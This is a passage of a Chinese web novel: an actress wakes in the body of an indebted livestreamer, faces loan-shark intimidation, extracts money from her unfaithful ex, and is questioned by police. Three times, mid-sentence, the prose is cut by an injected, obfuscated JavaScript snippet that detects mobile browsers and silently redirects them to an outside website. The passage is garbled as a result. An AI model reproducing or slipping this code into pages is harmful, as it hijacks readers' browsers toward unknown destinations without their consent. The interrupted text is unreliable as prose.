林见微心跳砰砰,汗珠从额角缓缓流下,手心也因紧张激动渗出一层汗。 她屏住呼吸看着弹幕区里好评一片,礼物一个接一个在屏幕上炸开,分数一点一点往上涨。 在第六局还剩三十秒的时候,她已经获得了五千分,而对面只有三千分。 林见微心跳急遽加快,房间里能清晰地听到老式空调运转发出的低声轰鸣,头顶吊扇旋转发出的呼扇吱扭声,混着她砰砰砰砰的心跳。 她好像能赢下这一局了。 只要赢下一局,她就翻盘了,因为之前和麦乐鸡约定的是,如果她再连输十局,就接受当众剃头+下月限流的惩罚。 但只要赢一局,麦乐鸡就要接受同样的惩罚。 之所以定下这个规则,是因为麦乐鸡坐拥10万加粉丝,又有若干大哥在身边护法,打败只有区区十几个粉丝的大劈叉实在如碾死一只蚂蚁一般简单。 但她当然想不到,此时的大劈叉已经如假包换,变成了娱乐圈当红顶流林见微。 还剩二十秒,分数没有明显变动。 十五秒,双方都零星上了一点小分。 十、九、八…… 砰、砰、砰。 一阵急促的敲门声传来。 林见微:???! 这个节骨眼上,为什么有人上门?啊啊啊啊啊! 而且,敲门声又急又重,门外的人又没有自报家门说是外卖或者快递。 砰、砰、砰,敲门声再次急促响起,不耐烦的重重喘气回响在走廊里,一个中气十足的男声越门而入:“开门!” 林见微再顾不得正在进行的PK了,心中警铃大作,从支架上抓起手机切到拨号界面,输入110。 然而还没来得及摁下拨号键,大门外再次传来浑厚的男中音:“大劈叉,你想躲房租躲到什么时候?” 林见微一下子犹豫了,刚刚翻聊天记录的时候,她确实看到,大劈叉微信里最上面的消息,就是房东的催租信息。 消息预览显示的是:你拖欠的三个月房租该交了吧…… 这时,外面的人继续拍门喊道:“我知道你在里面,刚刚你直播我都听见了!房租我已经宽限你好久了,但你不能一直当老赖吧,究竟什么时候交钱啊!” 脑子迅速运转片刻,林见微放下手机,踮脚走到门边,小心翼翼地透过猫眼看去。 门外站着两个膀大腰圆的中年男人,一个光头小个子,一个纹着花臂的壮汉,两人都怒气冲冲地看着大门。 深吸一口气,林见微冲门外喊道:“能不能稍等一会儿,我还在PK呢……” 话还没说完,立刻被光头小个子打断:“你天天晚上PK,这么久了一把都没赢过,怎么回事,没有榜一大哥吗?” 林见微:“呃,我……” 光头大哥:“你怎么这么失败啊,我看人家小姑娘,随随便便播一阵就月入上万了,你这都播两年了吧,怎么还天天欠外债啊。” 林见微:“对不起大哥,我真的……” 光头大哥:“你怎么这么完蛋呢,要不你开门让我王二年给你点拨点拨,我就没见过这么扶不上墙的。” 光头大哥王二年虽然说话不中听,但听语气还挺活泼,不像是凶神恶煞之人。 房租都拖欠三个月了,确实有点说不过去,林见微想开门,但握住门把手的时候还是犹豫了。 因为一旁的壮汉看着实在瘆人,他至少比王二年高一头,肌肉发达满是纹身的胳膊紧抱胸前,隆起的肱二头肌馒头一样大。 紧锁的眉头下一双豹眼默默瞪着大门,凶光毕露。 林见微心里咯噔一声,这可是个狠角色,不会是王二年为了催租找来的打手吧。 她咬唇,有些后悔刚刚开了门。 王二年似乎看穿了她的心思,指着一旁介绍说: “这是齐飞虎齐哥,你欠人高利贷,打算什么时候还啊?” 林见微心里一惊:大劈叉怎么还和高利贷扯上关系了? 这可不是儿戏,她在社会新闻上看过,高利贷催收者为了要钱无所不用其极,轻则败人名誉,重则致伤致残。 看着面前这一高一低,气势汹汹的二人,她艰难地吞咽了一下。 齐飞虎踹开这道门需要多久?几秒钟? 她深呼吸几次,干脆心一横,旋开门锁。 咔哒一声脆响,大门缓缓打开。 王二年径自走了进来,快速打量了下屋子,齐飞虎也紧随其后走进来,老旧地板随着他的步伐微微颤动,发出吱扭响声。 顶着楼道暗黄惨淡的灯光,地板上投射出一团庞大模糊的黑影。 王二年叹了口气:“劈叉姑娘,你这屋里……说得好听点,跟狗窝没什么区别。” “你什么时候能交房租?” 林见微挠头:“大哥,能不能再宽限我几天,我再努力一把,争取直播多挣点钱……” 一直没说话的齐飞虎冷冷吐道:“宽限几天?你想宽限几天啊?” 低沉的声音有一股巨大的压迫感。 “能不能宽限我……三天?”林见微小心翼翼地问道。 齐飞虎鼻孔喷气,直勾勾盯过来,林见微瞬间瑟瑟发抖。 在一米九一身腱子肉的齐飞虎面前,她就是一只随时可以被捏死的小白兔。 “你知不知道一个东西,叫做复利,或者说,利滚利?” 林见微:“啊?” 齐飞虎:“你这样拖欠下去,利息会变成天文数字,这个你明白?” 林见微:“我现在总共欠你们多少?” 齐飞虎从兜里掏出手机,打开计算器:“一个半月前,你借了我们10万,利息是1000%。” “按照规定,你应该在两周内偿还10倍的本金,也就是100万。” “但你逾期了,之后每两周利息都是1000%,所以到现在翻了三番,你欠款一个亿。” 说完,齐飞虎手腕一翻,计算结果赫然显示在林见微眼前。 王二年实时评论:“欠款一个小目标。” 然后又补道:“你拖欠的房租是六千块,所以你总共欠债1.00006亿。” 这个数字超过了林见微的想象,她嘴巴张开又闭上,反复几次也不知道该说什么。 做演员这么久,她也没挣够这些钱。 跑龙套的那些年,每个月也就几千块收入,还要请客吃饭迎来送往,根本存不住钱。 最近一两年火了之后,虽然片酬涨上去了,但还完之前借的外债,又不停贴补男朋友陈怀顾那个入不敷出的火锅店,她也只攒了大几百万。 在娱乐圈,她真的很穷。 变成大劈叉后,她更是穷得家徒四壁,屋顶漏雨,就算是把她卖了,也只能填补欠账里的一个小窟窿。 绝路啊。 过了好久,林见微才颤巍巍说:“这……可我现在真的没钱……” 她的声音小得和蚊子哼哼似的,屋内老式空调发出的低沉嗡鸣声显得格外响。 头顶吊扇吱扭吱扭疯狂旋转,屋顶漏水的一角滴了几滴水下来,被吊扇一吹,啪嗒啪嗒砸在两位大哥的脑袋瓜上。 王二年抹了把脸,骂骂咧咧了一句。 也许是这滴来历不明的水激怒了齐飞虎,他突然目露凶光,大踏步朝林见微走来! 王二年和林见微:“!!!” 二人慌不迭地后退,但一切都来不及了,齐飞虎一个闪现,庞大的身躯压了上来,粗糙的大手向前一抓,林见微细瘦的脖颈已经被钳在其中! 王二年惊叫一声:“!!!大哥别冲动!!!” 林见微痛苦尖叫:“啊!!!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16386746|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的身子被整个提起离地,强烈的窒息感瞬间摄住全身。 一旁的王二年看傻了眼,慌忙上前拦道:“齐哥!咱们不是说好了,不把事情闹大……” 齐飞虎甩出一个冷厉眼神,王二年瞬间哑火,默默退了下去。 “求求你……”林见微颤抖喑哑地哀求着,泪水涌上眼眶。 齐飞虎冷哼一声,如刀的目光直直刺进林见微那双布满惊惧的眼睛。 半晌,他终于松手,林见微从半空落下,哐当掉在地上。 手肘和膝盖一片麻疼,林见微抹了把眼泪转身爬起,扶着一旁的桌子试图站起。 王二年一脸焦灼:“你没事吧……” 林见微扶着桌子呛咳几声,摆手沙哑道:“没事。” 王二年犹豫片刻,还是顶着齐飞虎那威圧感十足的目光,跑去把林见微扶了起来。 他有些于心不忍,更重要的是,自己的房子里不能发生命案,不然以后还怎么租出去。 见齐飞虎暂时没言语,王二年苦口婆心道:“大劈叉姑娘,这次的事是你不对,你一而再再而三地不守承诺拖欠钱款,所以齐哥只能来硬的了。” “你要是再拖欠下去,我们……” 顶着齐飞虎阴沉的目光,王二年犹豫再三,还是叫道:“……我们就去找你姐姐替你还债!” 林见微十分讶异:“我姐姐?” 王二年:“我们早就调查过你的社会关系,你父母早年相继去世,没有其他亲人,只有一个姐姐,名叫韦宁,是个作家,住在京南市滨海区环湖大道东112号3栋4单元501室,身份证号是……” 林见微慌忙打断:“别,我能还钱,我会尽快想办法!” 停顿片刻,她郑重道:“你们再宽限我三天,就三天,三天之后我要是还交不上钱,任由你们处置!” 王二年和齐飞虎互相看了一眼,林见微续道: “两位大哥,你们也看到了,我直播这么久却一直不温不火,家里也一贫如洗,确实很困难。” “但是你们放心,这几天我就把值钱的包、首饰、衣服、鞋都卖掉,再找亲戚朋友借点钱。” “如果还是不够,我就……就任由你们处置,要杀要剐随你们。” “我保证这次一定认真凑钱,不跑路,不放心的话你们可以随时来查岗。” 齐飞虎眉头紧锁,一双豹眼渗着令人发毛的目光,死盯着林见微。 半晌,他低沉开口:“你哪一次不是声泪俱下,求我们再宽限几日?我怎么相信你这次能真的兑现承诺?” 林见微泪水涟涟,几乎就要跪下:“大哥,这次我真的是认真的,我用性命发誓,请您相信我。” “要是你还是信不过,那你干脆现在就结果了我吧!” 说着,林见微急步上前,脖子抻着摆在齐飞虎面前,一副要杀要剐任凭你的架势。 王二年心里叫苦不迭,急忙拦在林见微和齐飞虎中间: “你们都冷静冷静,齐哥,其实我看这小姑娘今天态度挺诚恳的,和以前不太一样。” “要不,咱就再宽限三天,反正她住在这里,我随时能过来确认她有没有跑路。” “三天之后我们再过来,她要是还是各种推诿,那您想怎么办就怎么办!” 齐飞虎沉默抱着双臂,似乎陷入沉思,目光阴沉沉地在林见微和房东脸上扫了若干遍。 正值盛夏时节,老旧的屋子里空调本就年久失修,现在狭小的空间里挤了三个人,空气一下变得逼仄闷热,令人透不过气。 知了的叫声透过薄薄墙壁传了进来,也不知过了多久,就在林见微感觉胸闷头痛时,齐飞虎终于开口道: “好,就再饶你一次。” “但这次,你无论如何都得兑现承诺。” “否则,”齐飞虎一字一顿道,“我要你生不如死。” 重重撩下这句话,齐飞虎给房东丢下一个阴冷眼神,然后径自转身,拉开门,大踏步走了出去。 一股带着老旧楼道特有的霉腐味的凉风钻了进来,林见微此时才知道什么叫做劫后余生。 “大劈叉姑娘,”王二年喘着气,“你这次可千万上心啊!” “依我对齐哥的了解,这是最后通牒,你要是再糊弄过去,等着你的是死无葬身之地啊!” 林见微缓了片刻才道:“我明白,还有,谢谢您刚刚帮我。” 望着林见微真诚而感激的目光,房东惊讶挑眉:没想到,向来胸大无脑的扬州大劈叉今晚终于聪明了一回。 “把事情闹大对谁都不好,你……”他再次扫了一眼凌乱的屋子,轻叹口气,“你早点休息吧。这两天我会经常来看一看。” 林见微点头:“好,您随时来查岗。” 王二年明显有些不放心,但还是一步三回头地地走了。 林见微将他送到门口,关门时瞥见楼道里被喷涂满了血红大字: 欠债还钱否则杀人抵债 林见微颤抖地合上门,靠在门后缓了好一会儿,才走回室内,坐在到手机前。 于是她发现,她竟然没关直播。 …… 而且,直播间里已经炸锅了。 实时观看人数激增到一百多人,评论一条一条快速滚动,林见微瞪大眼睛,试图捕捉发生了什么。 [卧槽,刚刚发生了什么??] [她是直播了一场和债主的撕逼大戏吗??] [这直播内容也太罕见了吧] [不会是有剧本的吧?那两个人真的是债主吗?] [好像是真的啊,大劈叉刚刚看起来真的很害怕,不像是装的。] [肯定是剧本,现在人为了博流量,什么做不出来啊?欠款一个亿,开玩笑吧!] [但刚刚那一幕也太真实了叭,她眼里的恐惧,还有债主的威胁,看得我起了一身鸡皮疙瘩。] [话说,你们有没有发现,刚刚滤镜关了?] [啊啊啊我刚想说,而且你们觉不觉得,大劈叉不开滤镜,反而更好看??] [+10086,真的啊,大劈叉真人好美啊,开滤镜反而路人了。] 大劈叉一目十行地扫过评论,惊讶得说不出话。 页面顶端的数据显示,累计观看人数已经达到近一千人,目前实时在线的是六百人。 刚刚快速切到麦乐鸡账户的时候她看见,坐拥十万多粉的麦乐鸡,实时观看人数也不过一百人。 她就这样赚到了流量? 4. 四 刚刚的一耽搁,第二轮的十把PK已经结束。 林见微毫无疑问地输掉了。 然而还没等她争辩,围观的群众们已经七嘴八舌议论起来。 [刚刚的PK不算吧,毕竟大劈叉中途出去解决债务问题了] [对啊,要不重开吧] [注意保护自己啊,不要轻易开门。] [话说姐姐刚才好英勇啊,一人智斗两位社会大哥,还能全身而退。] [全身而退?你确定她能在三天凑齐一个亿???] 这时麦乐鸡也神色复杂地加入讨论:“大劈叉,我知道你手头紧,没想到是有亿点点的紧。” “看来你之前找我借钱我没借给你,是对的。再多的钱也补不齐你这一个小目标的欠款。” 接着她话锋一转—— “但是看在我们相识几年的情分上,我还是愿意帮帮你。” “这周末我要在我男朋友给我新买的一千平大别墅开趴,届时还会天降贵宾——笑口集团的接班人,多金帅气,随和大度,富二代里的一股清流,圈子里炙手可热的单身公子,谷煜谷公子,会大驾光临。” “他最近上了新产品,需要找商务代言,我们小姐妹都会参加,到时候你就过来帮忙端茶倒水,给我们助助攻,到时候我们自然会挤点油水犒劳你。” 这话听着好像是要发善心帮她,但麦乐鸡扬着下巴,隔着屏幕用鼻孔看她的样子实在高傲至极。 这和用搜饭打发乞丐有什么两样。 但是,既然有钱挣,还管那么多干嘛。 毕竟如果凑不齐一个亿,她就要再次噶掉了。 而且听上去,如果能俘获谷公子的芳心,还有可能可以接商务代言,大大地赚米。 很好啊,想当初她在某店跑龙套的时候,天天早起贪黑,对剧组里装大爷,号称认识某某导演的那些人鞠躬哈腰,把自己累到住院,最后半点资源也拿不到。 这次打扮得美美的,装笑脸端个茶倒个水,就能接触到真正的资源,是个不错的买卖。 聊这些的时候弹幕一直滚动: [刚刚那智斗社会大哥的场面,肯定是剧本啊] [那也太逼真了吧?她是谁,影后啊?] [不管是不是真的,反正挺管用,主播已经上人气榜了晓得不] 二人下播后,林见微看了看自己的战绩,结果不看不知道,一看吓得差点从凳子上跌下来。 过去的二十分钟内,她的人气如坐火箭一样飙升,上了个同城人气榜,排第7。 不仅如此,她的粉丝数翻了几番,从80激增到了700多。 主页内也多了好些点赞收藏评论,累计收入近500香蕉币,大约是50块人民币。 ……虽然对于一个亿来说是杯水车薪了点,但是够点个外卖加奶茶犒劳一下自己的精神损失了。 半个小时后,叼着炸鸡喝着冰可乐的林见微刷着手机,屏幕上跳出一则突发新闻: 乐盛一姐林见微生命垂危,三天内连下16次病危通知书! 林见微瞳孔放大,手指颤抖地点进新闻: 林见微三日前从5楼坠落,虽然救护车第一时间赶到现场,医护人员也全力施救,但她仍然没有脱离生命危险,3天内下了16次病危通知书,目前生死未卜。 下面是一条自动播放的视频,她的前夫哥陈怀顾戴着口罩,露在外面的眼睛布满血丝,厚重的眼袋上叠着黑眼圈,一看就是几天没合眼的状态。 开口时他声音颤抖:“我现在状态很不好……我不想接受采访。” 他用手遮住摄像头,画面迅速变成一片黑暗。 接着就切到了《风华绝代》首映礼林见微接受采访的画面,那时的她笑颜如花,嘴角上扬着春风得意的微笑。 背景音配的是:林见微疑似因电影处女座《风华绝代》票房远未达预期而选择轻生。 画面外的林见微:…… 她心情有些复杂,因为她非常确定,陈怀顾肯定是在演戏。 他们的感情早就破裂了,首映礼失利那晚,她在陈怀顾手机里发现了他和大劈叉的撩|骚信息,既而发现二人在一起的半数时间里,他都在出轨。 二人发生了激烈争吵,之后她走到阳台想要透口气,结果夜空的星星突然开始神秘闪烁,紧接着一股神秘不可抗拒的力量裹挟着她往前走去。 她头痛欲裂,胃里翻江倒海,下一秒天旋地转,扶着栏杆昏了过去。 醒来之后,她就变成了大劈叉。 而且一睁眼就欠款一个小目标。 林见微长长地叹了口气。 这就好比,奋斗了这么久,好不容易从龙套变成了一线明星,结果现在又要从零,不,从负十八线开始。 但是没事,仅仅来了两个小时,她就赚到了原主奋斗几年都没赚到的泼天流量,把粉丝数翻了几番,而且还得到了参加高端局获得商务代言的机遇。 而且,她还有一颗名叫前夫哥的摇钱树。 这么想着,好像心有灵犀一般,前夫哥发来了消息: [宝宝,在吗?] 她点开聊天页面,向上划了几下。 若干不堪入目的聊天消息赫然出现在眼前。 她琢磨了半晌回道:[在,你最近好吗?] 陈怀顾秒回:[最近两天我在医院都要忙疯了!!] [母老虎tm发神经跳楼了,搞得老子现在被困在医院里,玛德] 林见微回道:[林见微抢救过来了吗?] 陈怀顾:[医生说活下来的希望很小,真能挺过来,下半辈子也是植物人了。] 林见微:[那你最近是不是一直要在医院待着?] 陈怀顾:[我恨不得赶紧飞到宝宝身边!这破医院还有这些破事我受够了!][崩溃][抓头发] [天天要对着镜头做样子,装出一副悲痛欲绝的样子,我就没演过这么难演的戏] 林见微不得不放下手机,站起身打开窗户,大口呼吸了几下。 室外的空气潮湿闷热,窗外虫鸣如雨,夜空的繁星交替闪烁,一切既陌生又真实。 关上窗,她重新打开手机回道:[那你在医院里,有想我吗?] 陈怀顾立刻回:[当然!我每分每秒都在想我的宝宝!] 林见微冷笑一声,迅速敲道:[你撒谎!] [你明明那么在乎林见微,不然,为什么一直守在医院寸步不离?] 过了一阵,陈怀顾回了消息: [天地良心,我根本不在乎她。] [我守在医院,不过是顾念公众形象,做做样子。] [我和她早没感情了,碍于公司合约才一直没公开分手!我的心属于你,只属于你!] 看来他们三年的感情,不过是一场荒唐的闹剧。 那个她以为可以依靠的人,在她最猝不及防的时候,给她最狠的一刀。 可见感情都是纸糊的骗人玩意儿,在利益面前随便一捻就烂得稀碎。 迫使自己冷静一些后,林见微说:[我不信,几年的感情哪能说断就断了?你和她……还有一点藕断丝连吧。] 陈怀顾:[我发誓,绝对没有,我陈怀顾对林见微已经没有一丝一毫的感情。] 林见微冷笑一声:好,等的就是这句话。 刚刚你在医院的表演精彩至极,那真情实感,那哽咽声音,啧啧,都可以写进中戏教科书了。 但接下来就让你看看,谁才是真正的影帝。 林见微迅速噼里啪啦敲下几行字: [我不信你和林见微已经一刀两断了,我好想和你永远在一起,但我总觉得我们的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16386747|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感情不干不净……][委屈][哭哭] 陈怀顾急了,抓耳挠腮,恨不得拿把刀把真心剖出来,透过屏幕递过来:[要怎样你才肯相信我呢宝宝?] 林见微:[撇嘴][我只是想要我们的感情再也没第三个人打扰,我好爱你啊顾顾宝贝。] 陈怀顾:[我也好爱你,劈叉妹妹!] 林见微:[其实……我有个想法,不知当讲不当讲?] 陈怀顾:[快快请讲。] 林见微:[我听说你们这个圈子的人,男朋友提出分手时,都要给几百万的分手费,如此才算两清,再不互相纠缠。] [所以,你给了林见微多少分手费?] 对面一片沉默。 过了好一阵儿,陈怀顾才回:[我没给分手费。] [劈叉妹妹,那些钱我还不如花在你身上呢,你说呢?] 林见微:[你没给分手费??那你俩就还在一起的关系啊!] [我就说嘛,你和她肯定没断干净!!我!我不想活了!你竟然脚踏两只船,欺骗我的感情,呜呜呜呜呜呜] [你不要脸!!] 陈怀顾着急了,敲下好大一串回复,中间还有若干错别字,一看就是打字太快来不及检查: [???宝抱,你脑回路怎么这么轻奇][笑哭] [那个母老胡总说自己是肚里女性,她不吃着一套的。我给她分手费,她也不会要的!] 林见微:[你怎么知道她不会要啊,你是她肚子里的蛔虫吗?] [人家这么说,你就这么听啊?你太不懂女人了,女人说不要,就是要啊。] [而且现在正是关键时节,你打算和她分手,她却出了这么大的事,你要是不给点钱作为表示,到时候被人捅出去,公众舆论能放过你吗?] [你跟她分手,却不给分手费,太不男人了!!我不喜欢!!不!喜!欢!] 陈怀顾就差隔着屏幕给她跪下了。 怀着崩溃的内心,他敲下几个字:[你说的,好像也有道理。] 林见微:[把“好像”拿掉!] [无论如何,你得给她一笔钱,而且得是那种说出去,圈内人都竖大拇指,夸你有义气真男人的那种。] [只有这样,我才相信你和她是真断了。] [不然,我就不过了!不!过!了!] 陈怀顾赶紧哄道:[宝宝你说得对,之前是我没考虑清楚,忽略了你的感受。] [你放心,我等会儿就给她转分手费。] 林见微:[为什么要等会儿?] 陈怀顾:[……] [那……我现在转?] [转二百万成吗?] 林见微呵呵冷笑:[我听说时穆飞和小麋鹿离婚的时候,给了八百万的分手费。] 陈怀顾:[……我和时大公子当然不能比了,这样,我折个半,给四百万总行了吧。] 林见微认真思考了一下。 四百万对于一个亿的债务来说,实在是杯水车薪,但是陈怀顾的财务状况她再清楚不过了。 最近几年他一直没什么戏约,除了家里蹲就是捣鼓那个越捣鼓越赔钱的火锅店,里里外外折进去不少钱。 四百万,对他来说不是小数目。 姑且同意了这次,以后还可以再找别的由头,把钱慢慢敲出来。 她回道:[好,那就四百万,我要看转账收据。] 陈怀顾的内心已经不能用崩溃来形容了,急忙说:[好,我现在就操作。] 二十分钟后。 林见微登陆网银界面,凭借记忆输入自己的银行卡号和密码。 刚刚登陆,一则提示消息就跳了出来: 尾号6238账户给您汇款四百万元整。 奶思,第一桶金到手! 5. 五 就在林见微苦思冥想如何凑剩下的九千多万时,她突然被传唤到了警察局。 起因自然是她直播时发生的惊天催债事件,有好心观众直接将这件事捅给了警察叔叔。 直播视频清晰捕捉到了齐飞虎的脸,民警十分重视,第二天就给林见微打了电话,让她去临江分局配合调查。 刚收到电话,林见微就戴上口罩,坐地铁跑到临江区。 临江区是市中心,一天24小时不间断地人来车往,她刚到临江分局,一个二十来岁,面目友善的警察叔叔已经站在门口等她了。 看来警察叔叔十分重视这起报案。 再四确认她没有大碍,他才把她带了进去,开始询问。 “一个半月前,你为什么借了10万块钱?” 询问她的是小孙警官,刚刚就是他在门口接的林见微。 他旁边还坐着一个五十出头的老警察,头发有些花白,正低头查阅什么文件,镜片反着锐利的光。 林见微干脆地回答:“因为我虚荣。” 小孙警官挑眉,似乎是惊异于她的实诚和坦然,半晌才发出一声:“哦?” 林见微非常自觉,直接开始了沉痛的自我批评: “我内心扭曲,看不得小姐妹穿金戴银,攀比心作祟下,我想买名牌包名牌衣服名牌手表,但手头没钱,所以只能走上借高利贷这条不归路。” 小孙警官明显愣住了,犹豫片刻反问道:“你确定?” 这下轮到林见微愣住了。 难道比这个还严重? 那得是什么罪过啊。 脑子疯狂运转,片刻后她试探答道:“除了虚荣,我戏也多,我买包买衣服买名表,是为了把自己包装成名媛,出入上流社会,伺机傍大款。” 小孙警官一愣一愣的,旁边那位头发花白,一看就办案经验丰富的老警察也从文件中抬起头,投来耐人寻味的目光。 这一切都让林见微心里发毛。 大劈叉这个人之前是做了多么十恶不赦的事啊。 年轻警员反复确认:“真的是因为这个?” 林见微眨眨眼,这下真的词穷了。 大夏天屋内虽然开着空调,却还是有些闷热,老旧的吊扇不遗余力地转动,发出单调沉闷声响。 顶着两位警员意义不明的询问目光,林见微压力山大:来之前她应该对大劈叉进行一个更详细的背调的。 这时那位老警员,祁大年,开了口:“你再好好想想,是不是有别的原因,比如,和你家庭有关的。” 这下林见微更后悔了,早知道来之前就和大劈叉的姐姐聊两句了,也不至于现在两眼一抹黑。 这道题着实有些超纲,难倒了假的大劈叉。 “呃……”林见微大脑一片空白,“我借钱,是因为……” 人在宕机的时候,总是会想起一些最原始的东西,眼瞅两位警察叔叔的目光愈来愈严肃,林见微实在没辙只能瞎掰: “……因为,我想实现自己的梦想。” 然后她干脆心一横,大着胆子说:“我想拍个属于自己的电影。” 室内一片沉默。 沉默是今晚的长江大桥。 头顶的吊扇不懈地发出单调吱扭声响,整个询问室安静得落针可闻。 两位警员交换了下目光,最后,小孙警官忍不住问:“电影?你还是我们认识的那个大劈叉吗?你没事吧?” 这下林见微更是慌得六神无主:天呐,他们说他们认识大劈叉?? 她们怎么会认识大劈叉呢? 难不成,之前扫黄打非的时候,大劈叉被扫进过局子? 内心慌得一批,但脸上还强撑着镇定,林见微拼尽全力挤出笑容: “我知道我的职业十分特殊,也知道大家是怎么看我的,但我都是为了内心深处的梦想。“ “我从小就喜欢看电影,所以内心一直有一个电影梦。“ “虽然很疯狂,但我想试一试。” 祁大年终于沉不住气:“韦盏,有梦想是好的,为了梦想而努力不丢人。“ “我们之前还以为你只想浑浑噩噩过一辈子呢。” 林见微第一次听到别人叫大劈叉的大名,一下子睁大了眼。 她的真名是韦盏,姐姐是韦宁。 日常生活里大家都叫她大劈叉,现在被叫出全名,她有一种做错事后的心虚感。 后背渗出一层冷汗,只听祁大年继续说道: “自从你父亲欠了一屁股赌债,酗酒而死,我们一直都挺担心你和你姐姐。” “你高中辍学做了主播,我们都为你捏把汗,担心你走上歧路。” “你父亲的赌债这么些年一直没还清,你和你姐姐还这么小就要替父还债。你俩工作不稳定,工资也低,这么些年真是难为你们姐俩了。” “这次听说你借了高利贷,我们担心是不是你父亲的债主找上门了,但听你的意思,这次的事好像和你家里的事没关系?” 林见微完全语塞,她全没料到是这么个情况。 看来大劈叉还挺惨的,家庭破碎,经济拮据,从小就不得不接触社会阴暗面,看尽世事炎凉。 和她没进娱乐圈之前一样惨。 停顿了许久,她才说:“其实……啊……和家里的情况也有关系,我……我们压力是挺大的。” 祁大年向她投来温和但不失锐利的目光。 那双审视过无数犯罪分子的眼睛似乎能看穿一切,林见微抵挡不住,默默低下头。 过了好一阵子,头顶上才传来祁大年的温和有力声音:“我听说,你和姐姐已经不来往了?” 林见微一下子方寸大乱,刚刚她太紧张,忘记大劈叉和韦宁已经没有联系了。 齐飞虎提到过要找姐姐要账,于是之后她翻了翻姐妹俩的聊天记录。 二人上次是一年前联系的。 姐姐韦宁的最后一条消息是:我们不要再联系了。 阅读了一下二人的历史消息,林见微明白了姐妹俩断交的原因: 大劈叉最近几年在透支数张信用卡、x呗之后,找姐姐借钱。 姐姐是编剧,在圈内算是小透明,根本挣不到几个钱,一开始还好心支援一些,没想到大劈叉越来越狮子大开口,最后还欠了网贷。 几番拉扯中大劈叉对姐姐恶语相向,姐姐最终耐心耗尽忍无可忍,直截了当地告诉大劈叉不要再来找她,姐妹俩从此再无联系。 林见微一边看聊天记录一边摇头:大劈叉真是太不懂事了,姐姐才工作两年,手头明明那么拮据,还愿意几千几万地给大劈叉转账。 面对祁大年的提问,林见微脸红了,低头嗫嚅道:“对,因为……因为我不懂得珍惜。” 祁大年的声音突然变得异常温和:“你这次比以往懂事多了。“ “回去之后和你姐姐联系一下,把话说开,这次就是你姐姐报的案,她很关心你。” “你还可以把你的梦想跟她说一下,我相信她会非常欣慰。” 林见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16386748|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微连连点头,语气诚恳:“一定。” 询问到这里就结束了,小孙警官和祁大年只是想确认林见微人没事,所以看着她还能活蹦乱跳,说话也算有条理,就放她走了。 出了询问室,林见微双手插兜低着头往前走,脑子里反复响着临走前祁大年说的话。 姐姐韦宁怎么知道她被暴力催债了呢? 难不成,她看了那天晚上的直播? 但姐妹俩早就没来往了,韦宁正好在那个时间段看到她的直播,概率未免也太小了。 要么她一直在默默看大劈叉的直播,要么事情闹得太大,她上了社会新闻? 心头一团解不开的思绪,林见微想得入神,一直低头走路。 于是就在她即将迈出大门时,和一个人迎面撞了满怀。 那人也是满怀心事步履匆匆,冷不丁撞上人后,本能地将林见微一把推开—— 林见微向后平平飞出,一副要结结实实摔个屁股蹲的趋势! “啊!!!!”她发出一声撕心裂肺惨绝人寰的嚎叫。 大门内侧一角放了一张平时值班人使用的桌子,林见微后腰马上就要狠狠撞在桌角上,然而这时,那人疾步上前,眼明手快地抓住她胳膊,另一只手从后面托住她腰身。 下一刻,林见微整个人斜四十五度角躺在那人怀里。 一股雨后松竹的清香幽然传来。 是熟悉的味道。 林见微惊魂未定地抬起头,一张戴着黑口罩的脸映入眼帘。 虽然露在外面的小半张脸透着疲态,但依然能看出是个极清俊的男人,一双如深湖般的黑眸透着极具辨识度的清冷。 林见微瞳孔放大,不可思议地望着这个抱她入怀的男人。 “时……时闻?” 时闻眼眸低垂,将她放下,抽回手的一瞬间目光变得疏离戒备:“你是……?” 林见微大脑快速转动:“我……我是一个粉丝。” 时闻不置可否地“哦”了一声,声音有些沙哑,透着疲惫。 他的状态看上去和热搜视频里的陈怀顾类似,眼下有一圈乌青,眼球布满血丝,一看就是很久没好好睡觉了。 看来最近的新闻对他也有影响。 他抬起眸再次看向林见微,变深的目光里带着几许探究意味。 还没等林见微再说什么,他已经垂下眼,毫无留恋地松开她。 林见微“哎哟喂”前仰后合地叫了一通,好不容易才找回平衡。 时闻早已快步向外走去。 林见微慌忙叫住他:“诶,等一等!” 时闻却置若罔闻,两条长腿迈动走出大门,林见微三步并作两步跑上去,一把拉住他手臂。 正值夏天,时闻穿着黑色短袖,胳膊被林见微死死抓住,他吃惊转身,盯着她的手—— 白皙软嫩的手指紧紧抓着劲瘦紧实的小臂,时闻抬起眼皮:“有事吗?” 林见微迎着那双深邃的眸子,犹豫片刻后,大着胆子问:“你怎么会在这里?” 